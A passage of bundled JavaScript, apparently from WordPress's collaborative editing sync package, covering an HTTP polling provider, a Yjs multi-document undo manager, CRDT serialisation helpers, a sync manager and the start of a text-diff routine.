10549 const backgroundRetriesFailed = consecutiveFailures > retrySchedule.length;
10550 roomsInRequest.forEach((state) => {
10551 if (roomStates.get(state.room) !== state) {
10552 return;
10553 }
10554 state.onStatusChange({
10555 status: "disconnected",
10556 canManuallyRetry: true,
10557 consecutiveFailures,
10558 backgroundRetriesFailed,
10559 willAutoRetryInMs: pollInterval
10560 });
10561 });
10562 }
10563 }
10564 }
10565 pollingTimeoutId = setTimeout(poll, pollInterval);
10566 }
10567 void start();
10568 }
10569 function registerRoom({
10570 room,
10571 doc: doc2,
10572 awareness,
10573 log,
10574 onSync,
10575 onStatusChange
10576 }) {
10577 if (roomStates.has(room)) {
10578 return;
10579 }
10580 const updateQueue = createUpdateQueue([createSyncStep1Update(doc2)]);
10581 const isPrimaryRoom = 0 === roomStates.size;
10582 function onAwarenessUpdate() {
10583 roomState.localAwarenessState = awareness.getLocalState() ?? {};
10584 }
10585 function onDocUpdate(update, origin2) {
10586 if (POLLING_MANAGER_ORIGIN === origin2) {
10587 return;
10588 }
10589 if (update.byteLength > MAX_UPDATE_SIZE_IN_BYTES) {
10590 const state = roomStates.get(room);
10591 if (!state) {
10592 return;
10593 }
10594 state.log("Document size limit exceeded", {
10595 maxUpdateSizeInBytes: MAX_UPDATE_SIZE_IN_BYTES,
10596 updateSizeInBytes: update.byteLength
10597 });
10598 state.onStatusChange({
10599 status: "disconnected",
10600 error: new ConnectionError(
10601 ConnectionErrorCode.DOCUMENT_SIZE_LIMIT_EXCEEDED,
10602 "Document size limit exceeded"
10603 )
10604 });
10605 unregisterRoom(room);
10606 }
10607 updateQueue.add(createSyncUpdate(update, SyncUpdateType.UPDATE));
10608 }
10609 function unregister() {
10610 doc2.off("updateV2", onDocUpdate);
10611 awareness.off("change", onAwarenessUpdate);
10612 updateQueue.clear();
10613 }
10614 const roomState = {
10615 clientId: doc2.clientID,
10616 createCompactionUpdate: () => createSyncUpdate(
10617 encodeStateAsUpdateV2(doc2),
10618 SyncUpdateType.COMPACTION
10619 ),
10620 endCursor: 0,
10621 isPrimaryRoom,
10622 localAwarenessState: awareness.getLocalState() ?? {},
10623 log,
10624 onStatusChange,
10625 processAwarenessUpdate: (state) => processAwarenessUpdate(state, awareness),
10626 processDocUpdate: (update) => processDocUpdate(update, doc2, onSync),
10627 room,
10628 unregister,
10629 updateQueue
10630 };
10631 doc2.on("updateV2", onDocUpdate);
10632 awareness.on("change", onAwarenessUpdate);
10633 roomStates.set(room, roomState);
10634 if (!areListenersRegistered) {
10635 window.addEventListener("beforeunload", handleBeforeUnload);
10636 window.addEventListener("pagehide", handlePageHide);
10637 document.addEventListener("visibilitychange", handleVisibilityChange);
10638 areListenersRegistered = true;
10639 }
10640 if (!isPolling) {
10641 poll();
10642 }
10643 }
10644 function unregisterRoom(room, { sendDisconnectSignal = true } = {}) {
10645 const state = roomStates.get(room);
10646 if (state) {
10647 if (sendDisconnectSignal) {
10648 const rooms = [
10649 {
10650 after: 0,
10651 awareness: null,
10652 client_id: state.clientId,
10653 room,
10654 updates: []
10655 }
10656 ];
10657 postSyncUpdateNonBlocking({ rooms });
10658 }
10659 state.unregister();
10660 roomStates.delete(room);
10661 }
10662 if (0 === roomStates.size && areListenersRegistered) {
10663 window.removeEventListener("beforeunload", handleBeforeUnload);
10664 window.removeEventListener("pagehide", handlePageHide);
10665 document.removeEventListener(
10666 "visibilitychange",
10667 handleVisibilityChange
10668 );
10669 areListenersRegistered = false;
10670 hasCheckedConnectionLimit = false;
10671 consecutiveFailures = 0;
10672 roomOverflowOffset = 0;
10673 }
10674 }
10675 function retryNow() {
10676 isManualRetry = true;
10677 if (pollingTimeoutId) {
10678 clearTimeout(pollingTimeoutId);
10679 pollingTimeoutId = null;
10680 poll();
10681 }
10682 }
10683 var pollingManager = {
10684 registerRoom,
10685 retryNow,
10686 unregisterRoom
10687 };
10688
10689 // packages/sync/build-module/providers/http-polling/http-polling-provider.mjs
10690 var HttpPollingProvider = class extends ObservableV2 {
10691 constructor(options) {
10692 super();
10693 this.options = options;
10694 this.log("Initializing", { room: options.room });
10695 this.awareness = options.awareness ?? new Awareness(options.ydoc);
10696 this.connect();
10697 }
10698 awareness;
10699 status = "disconnected";
10700 synced = false;
10701 /**
10702 * Connect to the endpoint and initialize sync.
10703 */
10704 connect() {
10705 this.log("Connecting");
10706 pollingManager.registerRoom({
10707 room: this.options.room,
10708 doc: this.options.ydoc,
10709 awareness: this.awareness,
10710 log: this.log,
10711 onStatusChange: this.emitStatus,
10712 onSync: this.onSync
10713 });
10714 }
10715 /**
10716 * Destroy the provider and cleanup resources.
10717 */
10718 destroy() {
10719 this.disconnect();
10720 super.destroy();
10721 }
10722 /**
10723 * Disconnect the provider and allow reconnection later.
10724 */
10725 disconnect() {
10726 this.log("Disconnecting");
10727 pollingManager.unregisterRoom(this.options.room);
10728 this.emitStatus({ status: "disconnected" });
10729 }
10730 /**
10731 * Emit connection status, passing the full object through so that
10732 * additional fields (e.g. `willAutoRetryInMs`) are preserved for consumers.
10733 *
10734 * @param connectionStatus The connection status object
10735 */
10736 emitStatus = (connectionStatus) => {
10737 const { status } = connectionStatus;
10738 const error = status === "disconnected" ? connectionStatus.error : void 0;
10739 if (this.status === status && !error) {
10740 return;
10741 }
10742 if (status === "connecting" && this.status !== "disconnected") {
10743 return;
10744 }
10745 this.log("Status change", { status, error });
10746 this.status = status;
10747 this.emit("status", [connectionStatus]);
10748 };
10749 /**
10750 * Log debug messages if debugging is enabled.
10751 *
10752 * @param message The debug message
10753 * @param debug Additional debug information
10754 * @param errorLevel The console method to use for logging
10755 * @param force Whether to force logging regardless of debug setting
10756 */
10757 log = (message, debug = {}, errorLevel = "log", force = false) => {
10758 if (!this.options.debug && !force) {
10759 return;
10760 }
10761 const logFn = console[errorLevel] || console.log;
10762 logFn(`[${this.constructor.name}]: ${message}`, {
10763 room: this.options.room,
10764 ...debug
10765 });
10766 };
10767 /**
10768 * Handle synchronization events from the polling manager.
10769 */
10770 onSync = () => {
10771 if (!this.synced) {
10772 this.synced = true;
10773 this.log("Synced");
10774 }
10775 };
10776 };
10777 function createHttpPollingProvider() {
10778 return async ({
10779 awareness,
10780 objectType,
10781 objectId,
10782 ydoc
10783 }) => {
10784 const room = objectId ? `${objectType}:${objectId}` : objectType;
10785 const provider = new HttpPollingProvider({
10786 awareness,
10787 // debug: true,
10788 room,
10789 ydoc
10790 });
10791 return {
10792 destroy: () => provider.destroy(),
10793 // Adapter: ObservableV2.on is compatible with ProviderOn
10794 // The callback receives data as the first parameter
10795 on: (event, callback) => {
10796 provider.on(event, callback);
10797 }
10798 };
10799 };
10800 }
10801
10802 // packages/sync/build-module/providers/index.mjs
10803 var providerCreators = null;
10804 function getDefaultProviderCreators() {
10805 return [createHttpPollingProvider()];
10806 }
10807 function isProviderCreator(creator) {
10808 return "function" === typeof creator;
10809 }
10810 function getProviderCreators() {
10811 if (providerCreators) {
10812 return providerCreators;
10813 }
10814 if (!window._wpCollaborationEnabled) {
10815 return [];
10816 }
10817 const filteredProviderCreators = (0, import_hooks3.applyFilters)(
10818 "sync.providers",
10819 getDefaultProviderCreators()
10820 );
10821 if (!Array.isArray(filteredProviderCreators)) {
10822 providerCreators = [];
10823 return providerCreators;
10824 }
10825 providerCreators = filteredProviderCreators.filter(isProviderCreator);
10826 return providerCreators;
10827 }
10828
10829 // packages/sync/build-module/y-utilities/y-multidoc-undomanager.mjs
10830 var popStackItem2 = (mum, type) => {
10831 const stack = type === "undo" ? mum.undoStack : mum.redoStack;
10832 while (stack.length > 0) {
10833 const um = (
10834 /** @type {Y.UndoManager} */
10835 stack.pop()
10836 );
10837 const prevUmStack = type === "undo" ? um.undoStack : um.redoStack;
10838 const stackItem = (
10839 /** @type {any} */
10840 prevUmStack.pop()
10841 );
10842 let actionPerformed = false;
10843 if (type === "undo") {
10844 um.undoStack = [stackItem];
10845 actionPerformed = um.undo() !== null;
10846 um.undoStack = prevUmStack;
10847 } else {
10848 um.redoStack = [stackItem];
10849 actionPerformed = um.redo() !== null;
10850 um.redoStack = prevUmStack;
10851 }
10852 if (actionPerformed) {
10853 return stackItem;
10854 }
10855 }
10856 return null;
10857 };
10858 var YMultiDocUndoManager = class extends Observable {
10859 /**
10860 * @param {Y.AbstractType<any>|Array<Y.AbstractType<any>>} typeScope Accepts either a single type, or an array of types
10861 * @param {ConstructorParameters<typeof Y.UndoManager>[1]} opts
10862 */
10863 constructor(typeScope = [], opts = {}) {
10864 super();
10865 this.docs = /* @__PURE__ */ new Map();
10866 this.trackedOrigins = opts.trackedOrigins || /* @__PURE__ */ new Set([null]);
10867 opts.trackedOrigins = this.trackedOrigins;
10868 this._defaultOpts = opts;
10869 this.undoStack = [];
10870 this.redoStack = [];
10871 this.addToScope(typeScope);
10872 }
10873 /**
10874 * @param {Array<Y.AbstractType<any>> | Y.AbstractType<any>} ytypes
10875 */
10876 addToScope(ytypes) {
10877 ytypes = isArray(ytypes) ? ytypes : [ytypes];
10878 ytypes.forEach((ytype) => {
10879 const ydoc = (
10880 /** @type {Y.Doc} */
10881 ytype.doc
10882 );
10883 const um = setIfUndefined(this.docs, ydoc, () => {
10884 const um2 = new UndoManager([ytype], this._defaultOpts);
10885 um2.on(
10886 "stack-cleared",
10887 /** @param {any} opts */
10888 ({
10889 undoStackCleared,
10890 redoStackCleared
10891 }) => {
10892 this.clear(undoStackCleared, redoStackCleared);
10893 }
10894 );
10895 ydoc.on("destroy", () => {
10896 this.docs.delete(ydoc);
10897 this.undoStack = this.undoStack.filter(
10898 (um3) => um3.doc !== ydoc
10899 );
10900 this.redoStack = this.redoStack.filter(
10901 (um3) => um3.doc !== ydoc
10902 );
10903 });
10904 um2.on(
10905 "stack-item-added",
10906 /** @param {any} change */
10907 (change) => {
10908 const stack = change.type === "undo" ? this.undoStack : this.redoStack;
10909 stack.push(um2);
10910 this.emit("stack-item-added", [
10911 { ...change, ydoc },
10912 this
10913 ]);
10914 }
10915 );
10916 um2.on(
10917 "stack-item-updated",
10918 /** @param {any} change */
10919 (change) => {
10920 this.emit("stack-item-updated", [
10921 { ...change, ydoc },
10922 this
10923 ]);
10924 }
10925 );
10926 um2.on(
10927 "stack-item-popped",
10928 /** @param {any} change */
10929 (change) => {
10930 this.emit("stack-item-popped", [
10931 { ...change, ydoc },
10932 this
10933 ]);
10934 }
10935 );
10936 return um2;
10937 });
10938 if (um.scope.every((yt) => yt !== ytype)) {
10939 um.scope.push(ytype);
10940 }
10941 });
10942 }
10943 /**
10944 * @param {any} origin
10945 */
10946 /* c8 ignore next 3 */
10947 addTrackedOrigin(origin2) {
10948 this.trackedOrigins.add(origin2);
10949 }
10950 /**
10951 * @param {any} origin
10952 */
10953 /* c8 ignore next 3 */
10954 removeTrackedOrigin(origin2) {
10955 this.trackedOrigins.delete(origin2);
10956 }
10957 /**
10958 * Undo last changes on type.
10959 *
10960 * @return {any?} Returns StackItem if a change was applied
10961 */
10962 undo() {
10963 return popStackItem2(this, "undo");
10964 }
10965 /**
10966 * Redo last undo operation.
10967 *
10968 * @return {any?} Returns StackItem if a change was applied
10969 */
10970 redo() {
10971 return popStackItem2(this, "redo");
10972 }
10973 clear(clearUndoStack = true, clearRedoStack = true) {
10974 if (clearUndoStack && this.canUndo() || clearRedoStack && this.canRedo()) {
10975 this.docs.forEach((um) => {
10976 clearUndoStack && (this.undoStack = []);
10977 clearRedoStack && (this.redoStack = []);
10978 um.clear(clearUndoStack, clearRedoStack);
10979 });
10980 this.emit("stack-cleared", [
10981 {
10982 undoStackCleared: clearUndoStack,
10983 redoStackCleared: clearRedoStack
10984 }
10985 ]);
10986 }
10987 }
10988 /* c8 ignore next 5 */
10989 stopCapturing() {
10990 this.docs.forEach((um) => {
10991 um.stopCapturing();
10992 });
10993 }
10994 /**
10995 * Are undo steps available?
10996 *
10997 * @return {boolean} `true` if undo is possible
10998 */
10999 canUndo() {
11000 return this.undoStack.length > 0;
11001 }
11002 /**
11003 * Are redo steps available?
11004 *
11005 * @return {boolean} `true` if redo is possible
11006 */
11007 canRedo() {
11008 return this.redoStack.length > 0;
11009 }
11010 destroy() {
11011 this.docs.forEach((um) => um.destroy());
11012 super.destroy();
11013 }
11014 };
11015
11016 // packages/sync/build-module/undo-manager.mjs
11017 function createUndoManager() {
11018 const yUndoManager = new YMultiDocUndoManager([], {
11019 // Throttle undo/redo captures after 500ms of inactivity.
11020 // 500 was selected from subjective local UX testing, shorter timeouts
11021 // may cause mid-word undo stack items.
11022 captureTimeout: 500,
11023 // Ensure that we only scope the undo/redo to the current editor.
11024 // The yjs document's clientID is added once it's available.
11025 trackedOrigins: /* @__PURE__ */ new Set([LOCAL_EDITOR_ORIGIN])
11026 });
11027 return {
11028 /**
11029 * Record changes into the history.
11030 * Since Yjs automatically tracks changes, this method translates the WordPress
11031 * HistoryRecord format into Yjs operations.
11032 *
11033 * @param _record A record of changes to record.
11034 * @param _isStaged Whether to immediately create an undo point or not.
11035 */
11036 addRecord(_record, _isStaged = false) {
11037 },
11038 /**
11039 * Add a Yjs map to the scope of the undo manager.
11040 *
11041 * @param {Y.Map< any >} ymap The Yjs map to add to the scope.
11042 * @param handlers
11043 * @param handlers.addUndoMeta
11044 * @param handlers.restoreUndoMeta
11045 */
11046 addToScope(ymap, handlers) {
11047 if (ymap.doc === null) {
11048 return;
11049 }
11050 const ydoc = ymap.doc;
11051 yUndoManager.addToScope(ymap);
11052 const { addUndoMeta, restoreUndoMeta } = handlers;
11053 yUndoManager.on("stack-item-added", (event) => {
11054 addUndoMeta(ydoc, event.stackItem.meta);
11055 });
11056 yUndoManager.on("stack-item-popped", (event) => {
11057 restoreUndoMeta(ydoc, event.stackItem.meta);
11058 });
11059 },
11060 /**
11061 * Undo the last recorded changes.
11062 *
11063 */
11064 undo() {
11065 if (!yUndoManager.canUndo()) {
11066 return;
11067 }
11068 yUndoManager.undo();
11069 return [];
11070 },
11071 /**
11072 * Redo the last undone changes.
11073 */
11074 redo() {
11075 if (!yUndoManager.canRedo()) {
11076 return;
11077 }
11078 yUndoManager.redo();
11079 return [];
11080 },
11081 /**
11082 * Check if there are changes that can be undone.
11083 *
11084 * @return {boolean} Whether there are changes to undo.
11085 */
11086 hasUndo() {
11087 return yUndoManager.canUndo();
11088 },
11089 /**
11090 * Check if there are changes that can be redone.
11091 *
11092 * @return {boolean} Whether there are changes to redo.
11093 */
11094 hasRedo() {
11095 return yUndoManager.canRedo();
11096 },
11097 /**
11098 * Stop capturing changes into the current undo item.
11099 * The next change will create a new undo item.
11100 */
11101 stopCapturing() {
11102 yUndoManager.stopCapturing();
11103 }
11104 };
11105 }
11106
11107 // packages/sync/build-module/utils.mjs
11108 function createYjsDoc(documentMeta = {}) {
11109 const metaMap = new Map(
11110 Object.entries(documentMeta)
11111 );
11112 return new Doc({ meta: metaMap });
11113 }
11114 function initializeYjsDoc(ydoc) {
11115 const stateMap = ydoc.getMap(CRDT_STATE_MAP_KEY);
11116 stateMap.set(CRDT_STATE_MAP_VERSION_KEY, CRDT_DOC_VERSION);
11117 }
11118 function markEntityAsSaved(ydoc) {
11119 const recordMeta = ydoc.getMap(CRDT_STATE_MAP_KEY);
11120 recordMeta.set(CRDT_STATE_MAP_SAVED_AT_KEY, Date.now());
11121 recordMeta.set(CRDT_STATE_MAP_SAVED_BY_KEY, ydoc.clientID);
11122 }
11123 function pseudoRandomID() {
11124 return Math.floor(Math.random() * 1e9);
11125 }
11126 function serializeCrdtDoc(crdtDoc) {
11127 return JSON.stringify({
11128 document: toBase64(encodeStateAsUpdateV2(crdtDoc)),
11129 updateId: pseudoRandomID()
11130 // helps with debugging
11131 });
11132 }
11133 function deserializeCrdtDoc(serializedCrdtDoc) {
11134 try {
11135 const { document: document2 } = JSON.parse(serializedCrdtDoc);
11136 const docMeta = {
11137 [CRDT_DOC_META_PERSISTENCE_KEY]: true
11138 };
11139 const ydoc = createYjsDoc(docMeta);
11140 const yupdate = fromBase64(document2);
11141 applyUpdateV2(ydoc, yupdate);
11142 ydoc.clientID = pseudoRandomID();
11143 return ydoc;
11144 } catch (e) {
11145 return null;
11146 }
11147 }
11148
11149 // packages/sync/build-module/manager.mjs
11150 function getEntityId(objectType, objectId) {
11151 return `${objectType}_${objectId}`;
11152 }
11153 function createSyncManager(debug = false) {
11154 const debugWrap = debug ? logPerformanceTiming : passThru;
11155 const collectionStates = /* @__PURE__ */ new Map();
11156 const entityStates = /* @__PURE__ */ new Map();
11157 let undoManager2;
11158 function log(component, message, entityId, context = {}) {
11159 if (!debug) {
11160 return;
11161 }
11162 console.log(`[SyncManager][${component}]: ${message}`, {
11163 ...context,
11164 entityId
11165 });
11166 }
11167 async function loadEntity(syncConfig, objectType, objectId, record, handlers) {
11168 const providerCreators2 = getProviderCreators();
11169 const entityId = getEntityId(objectType, objectId);
11170 if (0 === providerCreators2.length) {
11171 log("loadEntity", "no providers, skipping", entityId);
11172 return;
11173 }
11174 if (entityStates.has(entityId)) {
11175 log("loadEntity", "already loaded", entityId);
11176 return;
11177 }
11178 if (false === syncConfig.shouldSync?.(objectType, objectId)) {
11179 log("loadEntity", "shouldSync false, skipping", entityId);
11180 return;
11181 }
11182 log("loadEntity", "loading", entityId);
11183 handlers = {
11184 addUndoMeta: debugWrap(handlers.addUndoMeta),
11185 editRecord: debugWrap(handlers.editRecord),
11186 getEditedRecord: debugWrap(handlers.getEditedRecord),
11187 onStatusChange: debugWrap(handlers.onStatusChange),
11188 persistCRDTDoc: debugWrap(handlers.persistCRDTDoc),
11189 refetchRecord: debugWrap(handlers.refetchRecord),
11190 restoreUndoMeta: debugWrap(handlers.restoreUndoMeta)
11191 };
11192 const ydoc = createYjsDoc({ objectType });
11193 const recordMap = ydoc.getMap(CRDT_RECORD_MAP_KEY);
11194 const stateMap = ydoc.getMap(CRDT_STATE_MAP_KEY);
11195 const now = Date.now();
11196 const unload = () => {
11197 log("loadEntity", "unloading", entityId);
11198 providerResults.forEach((result) => result.destroy());
11199 handlers.onStatusChange(null);
11200 recordMap.unobserveDeep(onRecordUpdate);
11201 stateMap.unobserve(onStateMapUpdate);
11202 ydoc.destroy();
11203 entityStates.delete(entityId);
11204 };
11205 const awareness = syncConfig.createAwareness?.(ydoc, objectId);
11206 const onRecordUpdate = (_events, transaction) => {
11207 if (transaction.local && !(transaction.origin instanceof UndoManager)) {
11208 return;
11209 }
11210 void internal.updateEntityRecord(objectType, objectId);
11211 };
11212 const onStateMapUpdate = (event, transaction) => {
11213 if (transaction.local) {
11214 return;
11215 }
11216 event.keysChanged.forEach((key) => {
11217 switch (key) {
11218 case CRDT_STATE_MAP_SAVED_AT_KEY:
11219 const newValue = stateMap.get(CRDT_STATE_MAP_SAVED_AT_KEY);
11220 if ("number" === typeof newValue && newValue > now) {
11221 log("loadEntity", "refetching record", entityId);
11222 void handlers.refetchRecord().catch(() => {
11223 });
11224 }
11225 break;
11226 }
11227 });
11228 };
11229 if (!undoManager2) {
11230 undoManager2 = createUndoManager();
11231 }
11232 const { addUndoMeta, restoreUndoMeta } = handlers;
11233 undoManager2.addToScope(recordMap, {
11234 addUndoMeta,
11235 restoreUndoMeta
11236 });
11237 const entityState = {
11238 awareness,
11239 handlers,
11240 objectId,
11241 objectType,
11242 syncConfig,
11243 unload,
11244 ydoc
11245 };
11246 entityStates.set(entityId, entityState);
11247 log("loadEntity", "connecting", entityId);
11248 const providerResults = await Promise.all(
11249 providerCreators2.map(async (create9) => {
11250 const provider = await create9({
11251 objectType,
11252 objectId,
11253 ydoc,
11254 awareness
11255 });
11256 provider.on("status", handlers.onStatusChange);
11257 return provider;
11258 })
11259 );
11260 recordMap.observeDeep(onRecordUpdate);
11261 stateMap.observe(onStateMapUpdate);
11262 initializeYjsDoc(ydoc);
11263 internal.applyPersistedCrdtDoc(objectType, objectId, record);
11264 }
11265 async function loadCollection(syncConfig, objectType, handlers) {
11266 const providerCreators2 = getProviderCreators();
11267 const entityId = getEntityId(objectType, null);
11268 if (0 === providerCreators2.length) {
11269 log("loadCollection", "no providers, skipping", entityId);
11270 return;
11271 }
11272 if (collectionStates.has(objectType)) {
11273 log("loadCollection", "already loaded", entityId);
11274 return;
11275 }
11276 if (false === syncConfig.shouldSync?.(objectType, null)) {
11277 log("loadCollection", "shouldSync false, skipping", entityId);
11278 return;
11279 }
11280 log("loadCollection", "loading", entityId);
11281 const ydoc = createYjsDoc({ collection: true, objectType });
11282 const stateMap = ydoc.getMap(CRDT_STATE_MAP_KEY);
11283 const now = Date.now();
11284 const unload = () => {
11285 log("loadCollection", "unloading", entityId);
11286 providerResults.forEach((result) => result.destroy());
11287 handlers.onStatusChange(null);
11288 stateMap.unobserve(onStateMapUpdate);
11289 ydoc.destroy();
11290 collectionStates.delete(objectType);
11291 };
11292 const onStateMapUpdate = (event, transaction) => {
11293 if (transaction.local) {
11294 return;
11295 }
11296 event.keysChanged.forEach((key) => {
11297 switch (key) {
11298 case CRDT_STATE_MAP_SAVED_AT_KEY:
11299 const newValue = stateMap.get(CRDT_STATE_MAP_SAVED_AT_KEY);
11300 if ("number" === typeof newValue && newValue > now) {
11301 void handlers.refetchRecords().catch(() => {
11302 });
11303 }
11304 break;
11305 }
11306 });
11307 };
11308 const awareness = syncConfig.createAwareness?.(ydoc);
11309 const collectionState = {
11310 awareness,
11311 handlers,
11312 syncConfig,
11313 unload,
11314 ydoc
11315 };
11316 collectionStates.set(objectType, collectionState);
11317 log("loadCollection", "connecting", entityId);
11318 const providerResults = await Promise.all(
11319 providerCreators2.map(async (create9) => {
11320 const provider = await create9({
11321 awareness,
11322 objectType,
11323 objectId: null,
11324 ydoc
11325 });
11326 provider.on("status", handlers.onStatusChange);
11327 return provider;
11328 })
11329 );
11330 stateMap.observe(onStateMapUpdate);
11331 initializeYjsDoc(ydoc);
11332 }
11333 function unloadEntity(objectType, objectId) {
11334 const entityId = getEntityId(objectType, objectId);
11335 log("unloadEntity", "unloading", entityId);
11336 entityStates.get(entityId)?.unload();
11337 updateCRDTDoc(objectType, null, {}, origin, { isSave: true });
11338 }
11339 function getAwareness(objectType, objectId) {
11340 const entityId = getEntityId(objectType, objectId);
11341 const entityState = entityStates.get(entityId);
11342 if (!entityState || !entityState.awareness) {
11343 return void 0;
11344 }
11345 return entityState.awareness;
11346 }
11347 function _applyPersistedCrdtDoc(objectType, objectId, record) {
11348 const entityId = getEntityId(objectType, objectId);
11349 const entityState = entityStates.get(entityId);
11350 if (!entityState) {
11351 log("applyPersistedCrdtDoc", "no entity state", entityId);
11352 return;
11353 }
11354 const {
11355 handlers,
11356 syncConfig: {
11357 applyChangesToCRDTDoc,
11358 getChangesFromCRDTDoc,
11359 getPersistedCRDTDoc
11360 },
11361 ydoc: targetDoc
11362 } = entityState;
11363 const serialized = getPersistedCRDTDoc?.(record);
11364 const tempDoc = serialized ? deserializeCrdtDoc(serialized) : null;
11365 if (!tempDoc) {
11366 log("applyPersistedCrdtDoc", "no persisted doc", entityId);
11367 targetDoc.transact(() => {
11368 applyChangesToCRDTDoc(targetDoc, record);
11369 handlers.persistCRDTDoc();
11370 }, LOCAL_SYNC_MANAGER_ORIGIN);
11371 return;
11372 }
11373 const update = encodeStateAsUpdateV2(tempDoc);
11374 applyUpdateV2(targetDoc, update);
11375 const invalidations = getChangesFromCRDTDoc(tempDoc, record);
11376 const invalidatedKeys = Object.keys(invalidations);
11377 tempDoc.destroy();
11378 if (0 === invalidatedKeys.length) {
11379 log("applyPersistedCrdtDoc", "valid persisted doc", entityId);
11380 return;
11381 }
11382 log("applyPersistedCrdtDoc", "invalidated keys", entityId, {
11383 invalidatedKeys
11384 });
11385 const changes = invalidatedKeys.reduce(
11386 (acc, key) => Object.assign(acc, {
11387 [key]: record[key]
11388 }),
11389 {}
11390 );
11391 targetDoc.transact(() => {
11392 applyChangesToCRDTDoc(targetDoc, changes);
11393 handlers.persistCRDTDoc();
11394 }, LOCAL_SYNC_MANAGER_ORIGIN);
11395 }
11396 function updateCRDTDoc(objectType, objectId, changes, origin2, options = {}) {
11397 const { isSave = false, isNewUndoLevel = false } = options;
11398 const entityId = getEntityId(objectType, objectId);
11399 const entityState = entityStates.get(entityId);
11400 const collectionState = collectionStates.get(objectType);
11401 if (entityState) {
11402 const { syncConfig, ydoc } = entityState;
11403 if (isNewUndoLevel && undoManager2) {
11404 undoManager2.stopCapturing?.();
11405 }
11406 ydoc.transact(() => {
11407 log("updateCRDTDoc", "applying changes", entityId, {
11408 changedKeys: Object.keys(changes)
11409 });
11410 syncConfig.applyChangesToCRDTDoc(ydoc, changes);
11411 if (isSave) {
11412 markEntityAsSaved(ydoc);
11413 }
11414 }, origin2);
11415 }
11416 if (collectionState && isSave) {
11417 collectionState.ydoc.transact(() => {
11418 markEntityAsSaved(collectionState.ydoc);
11419 }, origin2);
11420 }
11421 }
11422 async function _updateEntityRecord(objectType, objectId) {
11423 const entityId = getEntityId(objectType, objectId);
11424 const entityState = entityStates.get(entityId);
11425 if (!entityState) {
11426 log("updateEntityRecord", "no entity state", entityId);
11427 return;
11428 }
11429 const { handlers, syncConfig, ydoc } = entityState;
11430 const changes = syncConfig.getChangesFromCRDTDoc(
11431 ydoc,
11432 await handlers.getEditedRecord()
11433 );
11434 const changedKeys = Object.keys(changes);
11435 if (0 === changedKeys.length) {
11436 return;
11437 }
11438 log("updateEntityRecord", "changes", entityId, {
11439 changedKeys
11440 });
11441 handlers.editRecord(changes);
11442 }
11443 async function createPersistedCRDTDoc(objectType, objectId) {
11444 const entityId = getEntityId(objectType, objectId);
11445 const entityState = entityStates.get(entityId);
11446 if (!entityState?.ydoc) {
11447 return null;
11448 }
11449 await new Promise((resolve) => setTimeout(resolve, 0));
11450 return serializeCrdtDoc(entityState.ydoc);
11451 }
11452 const internal = {
11453 applyPersistedCrdtDoc: debugWrap(_applyPersistedCrdtDoc),
11454 updateEntityRecord: debugWrap(_updateEntityRecord)
11455 };
11456 return {
11457 createPersistedCRDTDoc: debugWrap(createPersistedCRDTDoc),
11458 getAwareness,
11459 load: debugWrap(loadEntity),
11460 loadCollection: debugWrap(loadCollection),
11461 // Use getter to ensure we always return the current value of `undoManager`.
11462 get undoManager() {
11463 return undoManager2;
11464 },
11465 unload: debugWrap(unloadEntity),
11466 update: debugWrap(yieldToEventLoop(updateCRDTDoc))
11467 };
11468 }
11469
11470 // packages/sync/node_modules/diff/libesm/diff/base.js
11471 var Diff = class {
11472 diff(oldStr, newStr, options = {}) {
11473 let callback;
11474 if (typeof options === "function") {
11475 callback = options;
11476 options = {};
11477 } else if ("callback" in options) {
11478 callback = options.callback;
11479 }
11480 const oldString = this.castInput(oldStr, options);
11481 const newString = this.castInput(newStr, options);
11482 const oldTokens = this.removeEmpty(this.tokenize(oldString, options));
11483 const newTokens = this.removeEmpty(this.tokenize(newString, options));
11484 return this.diffWithOptionsObj(oldTokens, newTokens, options, callback);
11485 }
11486 diffWithOptionsObj(oldTokens, newTokens, options, callback) {
11487 var _a;
11488 const done = (value) => {
11489 value = this.postProcess(value, options);
11490 if (callback) {
11491 setTimeout(function() {
11492 callback(value);
11493 }, 0);
11494 return void 0;
11495 } else {
11496 return value;
11497 }
11498 };
11499 const newLen = newTokens.length, oldLen = oldTokens.length;
11500 let editLength = 1;
11501 let maxEditLength = newLen + oldLen;
11502 if (options.maxEditLength != null) {
11503 maxEditLength = Math.min(maxEditLength, options.maxEditLength);
11504 }
11505 const maxExecutionTime = (_a = options.timeout) !== null && _a !== void 0 ? _a : Infinity;
11506 const abortAfterTimestamp = Date.now() + maxExecutionTime;
11507 const bestPath = [{ oldPos: -1, lastComponent: void 0 }];
11508 let newPos = this.extractCommon(bestPath[0], newTokens, oldTokens, 0, options);
11509 if (bestPath[0].oldPos + 1 >= oldLen && newPos + 1 >= newLen) {
11510 return done(this.buildValues(bestPath[0].lastComponent, newTokens, oldTokens));
11511 }
11512 let minDiagonalToConsider = -Infinity, maxDiagonalToConsider = Infinity;
11513 const execEditLength = () => {
11514 for (let diagonalPath = Math.max(minDiagonalToConsider, -editLength); diagonalPath <= Math.min(maxDiagonalToConsider, editLength); diagonalPath += 2) {
11515 let basePath;
11516 const removePath = bestPath[diagonalPath - 1], addPath = bestPath[diagonalPath + 1];
11517 if (removePath) {
11518 bestPath[diagonalPath - 1] = void 0;
11519 }
11520 let canAdd = false;
11521 if (addPath) {
11522 const addPathNewPos = addPath.oldPos - diagonalPath;
11523 canAdd = addPath && 0 <= addPathNewPos && addPathNewPos < newLen;
11524 }
11525 const canRemove = removePath && removePath.oldPos + 1 < oldLen;
11526 if (!canAdd && !canRemove) {
11527 bestPath[diagonalPath] = void 0;
11528 continue;
11529 }
11530 if (!canRemove || canAdd && removePath.oldPos < addPath.oldPos) {
11531 basePath = this.addToPath(addPath, true, false, 0, options);
11532 } else {
11533 basePath = this.addToPath(removePath, false, true, 1, options);
11534 }
11535 newPos = this.extractCommon(basePath, newTokens, oldTokens, diagonalPath, options);
11536 if (basePath.oldPos + 1 >= oldLen && newPos + 1 >= newLen) {
11537 return done(this.buildValues(basePath.lastComponent, newTokens, oldTokens)) || true;
11538 } else {
11539 bestPath[diagonalPath] = basePath;
11540 if (basePath.oldPos + 1 >= oldLen) {
11541 maxDiagonalToConsider = Math.min(maxDiagonalToConsider, diagonalPath - 1);
11542 }
11543 if (newPos + 1 >= newLen) {
11544 minDiagonalToConsider = Math.max(minDiagonalToConsider, diagonalPath + 1);
11545 }
11546 }
11547 }
11548 editLength++;
11549 };
11550 if (callback) {
11551 (function exec() {
11552 setTimeout(function() {
11553 if (editLength > maxEditLength || Date.now() > abortAfterTimestamp) {
11554 return callback(void 0);
11555 }
11556 if (!execEditLength()) {
11557 exec();
11558 }
11559 }, 0);
11560 })();
